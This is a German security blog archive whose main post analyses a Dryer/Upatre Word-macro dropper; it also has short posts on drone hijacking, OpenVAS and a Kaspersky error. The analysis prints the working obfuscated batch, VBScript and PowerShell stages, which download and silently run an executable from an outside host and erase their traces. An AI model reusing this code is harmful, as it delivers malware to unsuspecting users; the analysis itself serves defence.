Kategorie-Archiv: Security

Dryer / Upatre im Detail

Vor kurzem bin ich über eine Version vom Dryer beziehungsweise seinem Loader, genannt Upatre gestolpert und meine Analyse möchte ich euch nicht vorenthalten:

Aufbau

In einem ersten Schritt habe ich mich an eine detaillierte Analyse gemacht. Begonnen hat alles mit einem Mail mit Word und Makro im Anhang. Durch einen Dump konnte ich die folgenden Makros rausziehen und durch ein bisschen Reverse Engineering und Zusammensetzen auch die Verschleierungsversuche rückgängig machen:

– ThisDocument
– Module1
– Module2

Daraus entstehen dann die folgenden Scripts. Einerseits ein Batch-Script, Variante 1:

echo off
:pinkator
	ping 1.2.3.1 -n 2
	set ggtt="bs"

:lqwjdjqiw
:lwijdsji
	set trfd="%TMP%\"
	set nmsj="31166"
	set exds="8"

	cscript.exe %TMP%\31166.vbs
	ping 2.2.1.1 -n 2
																								
:windows
	%TMP%\8.exe
																								
:loop
	ping 1.3.1.2 -n 1
	set tar1="31166.bat"
	set stat="444.png"
	del %TMP%\3116.vbs
	del %TMPT\31166.bat
	del %TMP%\444.png
																								
	if exist %TMP%\31166.bat goto loop
	if exist %TMPT\31166.vbs goto loop
exit

Dann ein VB-Script in Variante 1:

/* Script %TMP%\31166.vbs */

strRT="http://64.184.235.251/44fsrgsgs.exe"
statRT="http://savepic.su/5590773.png"
jfeuygg="8.exe"
strTecation="%TMP%\8.exe"

frgea ="MSXML2.ServerXMLHTTL"
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "GET", "http://64.184.235.251/44fsrgsgs.exe", False
sFs.open "GET", "http://savepic.su/5590773.png", False
objXMLHTTP.send() 
sFs.send() 
If objXMLHTTP.Status = 200 Then
	Set objADOStream = CreateObject(ADODB.stream)	// ASP Object
		objADOStream.Open 
		objADOStream.Type = 1
		objADOStream.Write objXMLHTTP.ResponseBody 
		objADOStream.Position = 0 
		objADOStream.SaveToFile "%TMP%\8.exe" 
		objADOStream.Close 
	Set objADOStream = Nothing 
End if
Set objXMLHTTP = Nothing
guyqgdyw = "qhjwdkjhwqkdq"
Set objShell = CreateObject("WScript.Shell")

Eine Batch-Datei in Variante 2:

/* Script "%TMP%\31166.bat" */

@echo off
ping 1.1.2.2 -n 2
chcp 1251

:nwudqin
	set Rts1="."
	set Rts2="vb"
	set Rts3="s"

:sadasdw
	set Rts5="31166"
	set Rts4="%TMP%\31166"

:jasqudwqh
	cscript.exe "%TMP%\31166.vbs
	exit

Nochmals eine VBS-Datei in Variante 2:

/* Script "%TMP%\31166.vbs" */

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))	// => %TMP%
Set objFSO=CreateObject("Scripting.FileSystemObject")
djwq = ".ps1"

currentFile="%TMP%\31166.ps1"

Set objShell = CreateObject("Wscript.shell")
objShell.Run "powerShell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & '%TMP%\31166.ps1', 0, true

Und die Powershell-Variante:

/* Script "%TMP%\31166.ps1" */

$ujdkwq = 'jqwdb';
$stat = 'http://savepic.su/5588725.png';
$ggtt  = 'http://64.184.235.251/44fsrgsgs.exe';
$pths = '%TMP%\';

$wehs = '31166';
$nnm = '8';

$sundqbhybdq='teyfdqgwvdh';
$sasdwqoj='2dsadsad';

$down = New-Object System.Net.WebClient;

$bydyuwgd='uh2ehbj2g';

$file = %TMP%\8.exe';
$statfile = %TMP%\444.jpg';

$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';

$dasdw='jasidiowq';
$down.DownloadFile("http://64.184.235.251/44fsrgsgs.exe","%TMP%\8.exe");
$down.DownloadFile("http://savepic.su/5588725.png","%TMP%\444.jpg");

$asdw='qijwdqwid';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = '%TMP%\31166.vbs';
$statFilePath = 'C:\Users\MM\AppData\Local\Temp\444.jpg';	// WIESO FUNKTIONIERT DAS?
$btFilePath = '%TMP%\31166.bat';
$psFilePath = '%TMP%\31166.ps1';

Start-Sleep -s 15;
cmd.exe /c  '%TMP%\8.exe';

$file1 = gci '%TMP%\31166.vbs' -Force
$file2 = gci '%TMP%\31166.bat' -Force
$file3 = gci $'%TMP%\31166.ps1' -Force

$kasldds = '%TMP%\31166.vbs'

If (Test-Path '%TMP%\31166.vbs'){ Remove-Item $kasldds }
If (Test-Path '%TMP%\31166.bat'){ Remove-Item $btFilePath }
If (Test-Path 'C:\Users\MM\AppData\Local\Temp\444.jpg'){ Remove-Item $statFilePath }

$mskdfds = 'ansjkdnasj dkas jdkasndkja ';

If (Test-Path '%TMP%\8.exe'){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName

Ablauf

ThisDocument ist der Hauptteil und wird auch gleich beim Öffnen des Dokumentes aktiviert. Nach dem Aktivieren schreibt der Virus drei Dateien, einmal eine Batch-, dann eine VBS- und zum Schluss eine Powershell-Datei.
Abgefüllt werden die Scripts danach teils mit lokalem Code, der direkt aus dem Makro gelesen wird, zum Teil jedoch auch aus einem Snippet, welches auf gehackten Servern im Internet verteilt liegt. Die Server sind auch stehts redundant verteilt im Netz, somit wenn der Erste nicht erreichbar ist oder nicht zum Ziel führt, so gibt es noch einen Fallback. Dieses Snippet wird als Base64-Encoded heruntergeladen und vom Makro dechiffriert:

<text10>$sundqbhybdq='teyfdqgwvdh';
$sasdwqoj='2dsadsad';
$down = New-Object System.Net.WebClient;
$bydyuwgd='uh2ehbj2g';
$file = $pths+$nnm+'.exe';
$statfile = $pths+'444.jpg';
$down.headers[''+'User-Agent'] = ''+'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$dasdw='jasidiowq';
$down.DownloadFile($ggtt,$file);
$down.DownloadFile($stat,$statfile);
$asdw='qijwdqwid';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = $pths+$wehs+'.'+'v'+'bs'+'';
$statFilePath = 'c:\Users\MM\AppData\Local\Temp\444'+'.'+'j'+'pg';
$btFilePath = $pths+$wehs+'.'+'b'+'at';
$psFilePath = $pths+$wehs+'.'+'ps'+'1';
Start-Sleep -s 15;
cmd.exe /c  $file;     
$file1 = gci $vbsFilePath -Force
$file2 = gci $btFilePath -Force
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds){ Remove-Item $kasldds }
If (Test-Path $btFilePath){ Remove-Item $btFilePath }
If (Test-Path $statFilePath){ Remove-Item $statFilePath }
$mskdfds = 'ansjkdnasj dkas jdkasndkja ';
If (Test-Path $file){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName</text10>
<text20>ping 1.1.2.2 -n 2
chcp 1251
:nwudqin
set Rts1="."
set Rts2="vb"
set Rts3="s"</text20>
<text21>:jasqudwqh
cscript.exe %Rts4%%Rts1%%Rts2%%Rts3%
exit</text21>
<text30>Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("S"&"cripting.FileSystemObject")
djwq = "."&"ps"&"1"</text30>
<text31>Set objShell = CreateObject("W"&"script.shell")
objShell.Run "p"&"owerS"+"hell.e"+"x"+"e -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true</text31>
<stext1>@echo off
:pinkator
ping 1.2.3.1 -n 2
set ggtt="bs"</stext1>
<stext2>cscript.exe %trfd%%nmsj%".v"%ggtt%
ping 2.2.1.1 -n 2
:windows
%trfd%%exds%".exe"
:loop
ping 1.3.1.2 -n 1
set tar1=%nmsj%".bat"
set stat="444.png"
del %trfd%%nmsj%".v"%ggtt%
del %trfd%%tar1%
del %trfd%%stat%
if exist %trfd%%tar1% goto loop
if exist %trfd%%nmsj%".vbs" goto loop
exit</stext2>

<stext3>frgea ="M"+"SX"+"ML2.ServerX"+"MLH"+"T"+"T"+Chr(80)+""
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "G"+"ET", strRT, False
sFs.open "GET", statRT, False
objXMLHTTP.send() 
sFs.send() 
If objXMLHTTP.Status = 200 Then
uwqhda = "ADODB."
jaisd = uwqhda
Set objADOStream = CreateObject(jaisd+Chr(Sgn(-4)+84)+""&"tr"&"eam"&"")
objADOStream.Open 
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody 
objADOStream.Position = 0 
objADOStream.SaveToFile strTecation 
objADOStream.Close 
Set objADOStream = Nothing 
End if 
Set objXMLHTTP = Nothing
guyqgdyw = "qhjwdkjhwqkdq"
Set objShell = CreateObject("WScript.Shell")</stext3>

Die entsprechende Methode zum Dechiffrieren hat der Ersteller von diesem Blog hier geklaut und minimal angepasst. Das Snippet selbst wird leider nur begrenzt erkannt von einem Virescanner, da hierbei in einer Datei verschiedene Sprachen gemischt werden und einzelne Befehle, welche wahrscheinlich bei einem Kontrollsystem aufschlagen würden, werden als Kombination des Snippets mit dem lokalen Makro generiert.

Zusätzlich wird durch das Makro von zwei anderen URLs auch noch der Dropper Upatre geladen und als “8.exe” umbenannt. Hierbei etwas kläglich, dass die Datei als eigentliche *.exe runtergeladen wird, denn mit einem einfachen Pattern-Filter auf der Firewall kann dies bereits unterbunden werden. Auch die Signatur der Datei als Executable zu erkennen und entsprechend zu blocken ist keine wirkliche Kunst.
Zum tatsächlichen Ausführen gibt es zwei Wege: Der Eine startet das Makro die Batch-, diese dann die VBS- und diese wiederum zum Schluss die Powershell-Datei, welche dann den Dropper nachstartet und auch gleich alle Spuren wieder löscht. Der andere Weg geht von der Batch-Datei gleich zur EXE und zur VBS-Datei gleichzeitig.

Leider war die MELANIE schneller als ich, und so konnte ich keine Version vom Dropper selbst bekommen zur Analyse und muss mich hier auf Spekulationen verlassen, was diese wohl macht. Ich vermute aber stark, dass hier nun erneut von gehackten Servern der tatsächliche Virus heruntergeladen und in der Registry eingenistet wird und sich dann auch selbst beseitigt und aufräumt.

Ausserdem gibt es noch Zugriffe auf einen Image-Hoster savepic.su. Dies wird vom Virenschreiber wahrscheinlich als Statistik eingesetzt, da das entsprechende Bild einen Zugriffs-Counter führt und somit die Anzahl Infektionen getracked werden können.

Erkenntnis

Es fällt auf, dass in allen Skripten 3 Typen an Variablen-Namen verwendet werden. Zum einen gibt es die total kryptischen Namen wie “sdfgsdfg”, dann die sprechenden Namen wie “SXE” und zum Schluss die korrekten Namen wie “strLEN”. Daraus muss ich schliessen, dass das Makro von 3 verschiedenen Personen überarbeitet wurde, was klar zeigt, dass verschiedene und auch aktualisierte und verbesserte Versionen im Umlauf sind, seit der Virus in der Form das erste Mal aufgetreten ist.

Fehler

Für mich sehr spannend jedoch zu sehen ist, dass der Virus selbst wohl einen Fehler in seiner Ausführung enthält, wodurch der Dropper unter Umständen gar nie zum Starten kommt…
Der Ablauf hat einen Entscheidungspunkt, der nach meiner letzten Analyse wohl eine Versionskontrolle darstellt, da das %USERPROFILE% auf den String “sers\” geprüft wird. Und in Systemen mit einem Profilpfad von C:\Users\NAME wird die Variante 1 ausgeführt, wo die Batch-Datei zuerst die VBS-Datei startet und danach ohne zu warten auch den Dropper als EXE. Heruntergeladen wird die EXE jedoch von der VBS-Datei, was problemlos in einer Race Condition und somit einem Abbruch enden kann, wenn der Download mehr als 1-2 Sekunden dauert…
Die VBS-Datei enthält auch spuren, als sollte eigentlich die EXE daraus nach dem Download gestartet werden, doch dies wird in dem mir vorliegenden Code aktuell nicht gemacht:

Set objShell = CreateObject("WScript.Shell")
...FERTIG!

Es wird zwar ein Shell-Objekt erstellt, womit nun eigentlich die EXE gestartet werden könnte, doch irgendwie – nichts!
Dies steht im Vergleich zu der Powershell-Variante, wo die EXE auch wirklich noch gestartet wird:

cmd.exe /c '%TMP%\X.exe';

Doch alleine auf den Fehler kann man sich ja auch nicht verlassen, es existieren wahrscheinlich schon zig aktualisierte Versionen. Und da der besagte Fehler ja in einem der Snippet-Files auf gehackten Servern liegt, ist eine Korrektur mit nur minimalem Aufwand möglich!

Gefahrenlage

Wie die Analyse jedoch zeigt, ist das Makro selbst nicht schlimm, es wird lediglich versucht den Dropper zu laden – dieser sollte aber sicherlich durch einen geeigneten Virenscanner unterbunden werden und auch die MELANIE ist laufend dran, die gehackten Server, welcher die Snippets und den Dropper verteilen, vom Netz zu nehmen… In meinen Augen viel heisse Luft um nichts!

Spionageabwehr: Auto-Highjack von fliegenden AR.Dronen

Der Aufschrei war ja nicht gerade klein, als Amazon angekündigt hat, man teste “Eillieferungen” via Dronen direkt ab Lager zum Kunden. Die Angst beschränkte sich dabei aber mehr auf Kollisionen und die Ersetzung von menschlicher Arbeit durch Roboter. Viel mehr Sorgen bereitet mir persönlich dabei aber etwas ähnliches wie das hier:

SkyJack heisst das Stück Software und kann mit einer eigenen Drone und einem Raspberry Pi andere Dronen übernehmen und steuern. Angewandt auf die Pläne von Amazon heisst das, eine umherfliegende Drohne kann Lieferdrohnen anhalten und die Lieferung übernehmen, womit diese dann leer beim Kunden ankommen – das wird ja ein Spass für Amazon!

Und selbst wenn Amazon zum Schluss kommt, dass Lieferdronen doch nicht das Gelbe vom Ei sind, so kann die Software installiert auf einem stationären Pi immer noch zur Abwehr von Dronen verwendet werden. Ich stelle mir das ziemlich lustig vor, wenn jemand in die Nähe von meinem Haus herumfliegt und dann von meinem Pi immer wieder aus dem WLAN gekickt wird, während die Drone einfach in der Luft stehen bleibt bis der Akku hinüber ist 😀

Mehr zu SykJack und dem Entwickler gibt es übrigens auf seiner Website.

OpenVAS auf dem Raspberry Pi

Vor einiger Zeit bin ich mal auf die Idee gekommen, meinen Raspberry Pi so zu programmieren, damit er in einem beliebigen Netzwerk installiert werden kann und dann automatisch jegliche Netzwerkgeräte auf Sicherheitslücken scannt.
Da sich Metasploit und OpenVAS hierfür anbietet, habe ich mich mal dran gemacht, OpenVAS auf meinem Pi zu installieren. Leider gar nicht mal so einfach, da es keine Pakete gibt und alles selbst kompiliert werden kann.

Also musste ich zuerst mal ein paar Vorbedingungen installieren:

apt-get install libmicrohttpd-dev libxml2-dev xsltproc libxslt1-dev pkg-config flex cmake libssh-dev sqlite3 libsqlite3-dev libgnutls28-dev libgcrypt11-dev libglib2.0-dev libpcap-dev libgpgme11-dev uuid-dev bison libksba-dev nmap rpm libopenvas2 libopenvas2-dev

Danach muss ein passender Ordner erstellt werden:

mkdir openvas
cd openvas

Nun herunterladen und entpacken:

Weiterlesen

Kaspersky Security Center 10, Error 1503 und viele Nerven

Seit 2 Tagen nun kämpfe ich bereits mit der neusten Version des Kaspersky Security Center. Ich wollte unsere bestehende 9.0.x-Version auf die neuste Version 10 aktualisieren. Und alles nur um endlich auch Windows 8 und Server 2012 mit einem Virenschutz zu versorgen. Doch ganz so einfach wie es Kaspersky auf ihrer Support-Webseite beschreibt, ist es dann doch nicht.

Versucht man die Installationsdatei einfach zu starten, so wird zuerst mal reklamiert, dass eine alte Version installiert sei und diese zuerst deinstaliert werden muss – keine Spur von Upgrade also. Das Problem ist, dass erst ab Version 9.0.2825 ein Upgrade automatisch möglich ist.

Als Workaround habe ich zuerst die aktuellste 9er-Version, nämlich auf 9.3.75 installiert und erst in einem zweiten Schritt dann auf die aktuellste Version 10 aktualisiert. Doch obwohl der Wizard meint, alles wäre korrekt installiert, waren die alten Einstellungen nirgends zu finden. Und auch einen neuen Administrationsserver konnte ich nicht zufügen. Dies lag daran, dass die benötigten Dienste bei jedem Startversuch mit einem Fehler 1503 wieder gestoppt wurden, wodurch das Security Center gar nie richtig funktionieren konnte.
Die Lösung für dieses Problem aber ist denkbar einfach: Man braucht nur das .NET Framework 1.1 und das SP1 für .NET Framework 1.1 zu installieren und schon starten die Dienste wieder und alle Daten sind vorhanden – ganz einfach wenn man denn wüsste wie!

Ich hoffe, mit diesem kurzen Tipp kann sich jemand ein paar Tage suche ersparen 😉